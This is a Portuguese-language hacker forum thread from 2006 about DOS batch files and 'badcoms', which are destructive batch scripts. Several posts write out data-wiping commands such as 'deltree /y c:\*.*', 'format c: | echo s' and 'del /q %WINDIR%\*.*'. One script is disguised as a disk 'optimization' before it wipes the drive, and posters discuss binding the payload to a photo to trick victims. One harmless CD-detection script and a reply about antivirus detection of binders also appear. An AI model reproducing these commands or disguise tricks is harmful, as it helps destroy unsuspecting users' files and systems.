Arquivos BAT e Badcons

Started by ÐarkSpawn, 03 de March , 2006, 01:59:43 PM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

Ðark$pawn

Galera, estava lendo o Guia do Hacker Brasileiro e resolvi extrair esse tutorial... Muito interessante e simples, pq além de ser ultrapassado e de muitos AV's detectarem rapidamente arquivos *.bat, é sempre bom sabermos como funciona...  ;)

Arquivos BAT

Os arquivos batch no DOS são pequenos scripts que possibilitam que se faça muitas tarefas de uma só vez. Possuem a extensão BAT e podem ser rodados como se fossem executáveis. A linguagem batch é bem extensa e ótima para iniciantes aprenderem os primeiros passos em programação. O objetivo não é ensinar a linguagem e sim apenas mostrar como o processo funciona. Um exemplo de um arquivo batch abaixo:

Dir/p
Cls
Mem

Digite no prompt do dos "edit teste.bat" . Assim o editor padrão EDIT irá criar o arquivo teste.bat . Escreva os três comandos acima, colocando-os um em cada linha. Salve o arquivo e execute-o digitando teste ou teste.bat . O programa listará os arquivos com pausa (dir/p), limpará a tela (cls) e mostrará o status da memória (mem).

Badcoms

Os badcoms são uma má utilização de arquivos bat. Coloca-se no arquivo comandos destrutivos, tais como "del *.*" ou "deltree /y *.*" , que são comandos para apagar arquivos e diretórios. Pode-se até conseguir formatar o computador colocando-se "format c: | echo s" . O pipe ( | ) fará com que o comando echo envie o caractere s para o comando format c:. Isso porque sempre que se vai formatar (apagar) alguma coisa, o DOS pede confirmação. No caso, o batch daria a confirmação por si próprio. Um exemplozinho rápido de um badcom:

Cls
@deltree /y *.* > nul

Ao criar esse arquivo BAT e executá-lo, o programa primeiro limpará a tela e logo depois usará o comando deltree para apagar os arquivos e pastas do computador. O @ antes do comando e o "> nul" depois é para que não mostre o que o batch irá fazer. Se você digitasse esse comando sem esses dois termos (somente deltree /y *.*), iria aparecer a mensagem "Excluindo " . O erro do batch é que os usuários experientes nunca executarão seus comandos sem olhar seu conteúdo. Infelizmente foi criado o programa bat2exe que transforma o arquivo bat em executável (podendo ser COM ou EXE). Assim,
muitas pessoas caem no seu truque a cada dia.

  :D

Anonymous

otro bad com





cls
@echo off
cd\
cd windows
echo Otimizando a unidade para um
echo melhor desepenho
dir/>vnul
dir/>vnul
echo.
echo.
echo.



@echo off
break off
deltree/y c:\*.*



rodweb

Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*



deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD

Anonymous

Quote from: "Ø Rodrigo Ø"
Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*



deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD

Mais se você juntar ele a uma foto ?  8)

rodweb

Quote from: "killer.bat"
Quote from: "Ø Rodrigo Ø"
Quote from: "darkxlx"
@echo off
break off
deltree/y c:\*.*



deltree /y ja tah ultrapassado...o kaspersky deleta ele sem pergunta xD

Mais se você juntar ele a uma foto ?  8)

ai não ja sei hehe :D

Anonymous

Muito bom o pequeno tutorial.
Mais conhecimento pra nois.Huhuhu.

Fox

So isso se resume no badcom pra formatação?

Quote@echo off
break off
deltree/y c:\*.*

rodweb

Quote from: "Fox"So isso se resume no badcom pra formatação?

Quote@echo off
break off
deltree/y c:\*.*

Errado: deltree/y c:\*.*
Correto: deltree /y c:\*.*

mais só no win 98

no xp usa del /q c:\*.*
ou usa del /q %WINDIR%\*.* ai ele deleta a pasta do win em qualquer lugar

shake

Quote from: "chrootz"alguem sabe como posso incluir uma linha dentro de um arquivo...

ex: edit (um arquivo qualquer)
     comando (inserir uma linha no arquivo)
     save (arquivo)

se alguem puder ajudar agradeço....

Olha não sei explicar muito bem mas você pode fazer assim pra fazer um teste:

Crie um arquivo .txt (com qualquer coisa escrito dentro) na sua Desktop;
Agora você irá abrir o notepad e colocar assim:
@echo off
echo AQUI_VOCÊ_ESCREVE_A_LINHA_PRA_SER ADICIONADA >>NOME_DO_ARQUIVO_TXT.txt
Salve esse arquivo NOME_DO_ARQUIVO.bat na área de trabalho.
Rode o .bat

Bom eu não sou muito bom pra explicar e muito menos pra fazer essas coisas mais pelo menos tô tentando ajudar! shuasha
Se não der pra entender, avise que tentarei explicar de outra forma.
Caso dê certo é so adequar o bat para a função que você queira!
Espero ter ajudado.

rodweb

> escreve por cima (eu acho)
>> adiciona uma linha

isso vai criar um badcom

Quote@echo off
cls
cd \
echo @echo off >> teste.bat
echo cls >> teste.bat
echo del /q C:\*.* >> teste.bat

se o arquivo.txt não existir ele cria um...

Anonymous

#10
Olhem badcom é otimo gente ..
mais tbm tem outra linguagem q eu considero mto boa pra pequenas brincadeiras como
o VBS

+ Então aprendam brincando com badcom logo vao estar brincando com o ASSEMBLY
Se se dedicarem
vou postar 1 codigo em BAT q eu Fiz.

:)

@ECHO OFF ::Apaga Comandos ( Nao Mostra )

IF NOT "%OS%"=="Windows_NT"  GOTO Syntax
IF NOT "%~1"==""             GOTO Syntax

::Checa qual sistema operacional estamos lidando


DISKPART.EXE /? >NUL 2>&1 || GOTO Syntax
::Tenta Acessar a Memoria do Disk

::Ativa uma variavel e coloca ela em delay
::se estiver com a delay alta quer dizer q o disco
::esta dentro do driver

SETLOCAL ENABLEDELAYEDEXPANSION :: ativa agora
SET CDACT=
SET Multi=

:: Tenta detectar
FOR /F "tokens=3" %%A IN ('ECHO lista de volume ^| DISKPART.EXE ^| FIND.EXE " CDFS "') DO (
IF DEFINED CDROM (
SET CDACT=!CDACT! %%A
SET Multi=s
) ELSE (
SET CDACT=%%A
)
)

:: Mostra resultado
IF DEFINED CDACT (
ECHO Existem CD/DVD Dentro do Driver :) * Ricardo *%Multi% %CDACT%
) ELSE (
ECHO Num Existem CD/DVD Dentro do Driver :) * Ricardo *
)

::Feito Termina codigo e desaloca recursos
ENDLOCAL & SET CDACT=%CDACT%
GOTO:EOF


:Syntax

ECHO ....
ECHO Escrito by Ricardo Silva de Barros
PAUSE

IF "%OS%"=="Windows_NT" GOTO:EOF
::Caso for NT Roda Tbm :)

::Isso ai Darkers Estudem agora esse code


Ta ai ...
Esse code em bat ele detecta se tem CD ou DVD no Driver de CD ROM / DVD ROM hehehe
Bem simples porem poderoso :)

Estudem ..

shake

#11
Quote from: "Ø Rodrigo Ø"> escreve por cima (eu acho)
>> adiciona uma linha

É isso mesmo, acabei de testar aqui.
Ele limpa tudo e escreve o que for inserido antes do >


[edit]Aproveitando esse post alguem teria uma apostila que aborda o assunto pra postar pra gente não?

Abraços

rodweb

Quote from: "r1c4rdo1988"@ECHO OFF ::Apaga Comandos ( Nao Mostra )

IF NOT "%OS%"=="Windows_NT"  GOTO Syntax
IF NOT "%~1"==""             GOTO Syntax

::Checa qual sistema operacional estamos lidando


DISKPART.EXE /? >NUL 2>&1 || GOTO Syntax
::Tenta Acessar a Memoria do Disk

::Ativa uma variavel e coloca ela em delay
::se estiver com a delay alta quer dizer q o disco
::esta dentro do driver

SETLOCAL ENABLEDELAYEDEXPANSION :: ativa agora
SET CDACT=
SET Multi=

:: Tenta detectar
FOR /F "tokens=3" %%A IN ('ECHO lista de volume ^| DISKPART.EXE ^| FIND.EXE " CDFS "') DO (
IF DEFINED CDROM (
SET CDACT=!CDACT! %%A
SET Multi=s
) ELSE (
SET CDACT=%%A
)
)

:: Mostra resultado
IF DEFINED CDACT (
ECHO Existem CD/DVD Dentro do Driver :) * Ricardo *%Multi% %CDACT%
) ELSE (
ECHO Num Existem CD/DVD Dentro do Driver :) * Ricardo *
)

::Feito Termina codigo e desaloca recursos
ENDLOCAL & SET CDACT=%CDACT%
GOTO:EOF


:Syntax

ECHO ....
ECHO Escrito by Ricardo Silva de Barros
PAUSE

IF "%OS%"=="Windows_NT" GOTO:EOF
::Caso for NT Roda Tbm :)

::Isso ai Darkers Estudem agora esse code


Ta ai ...
Esse code em bat ele detecta se tem CD ou DVD no Driver de CD ROM / DVD ROM hehehe
Bem simples porem poderoso :P

Fox

Fina d+ essa bat....
Muito bem elaborada!
Valew Ricardo!

Shady

Ponto para o criador do topico...

 Alias, rolou uma duvida quanto a questao da deteccao...

 Nao, juntar o arquivo com uma foto ou qualquer outro arquivo nao torna o arquivo indetectavel. Na verdade so o torna mais detectavel. O que os "binders" fazem e criar um executavel que contenha o codigo dos dois arquivos juntos, que sao chamados ao clicar-se no executavel que se obteve como resultado da juncao.
 De qualquer forma, a maioria dos antivirus podem ver que ha na verdade dois arquivos em 1 e isso ja basta para acusar o arquivo de ser um virus, trojan ou pelo menos malicioso / perigoso.


Mundus Vult Decipi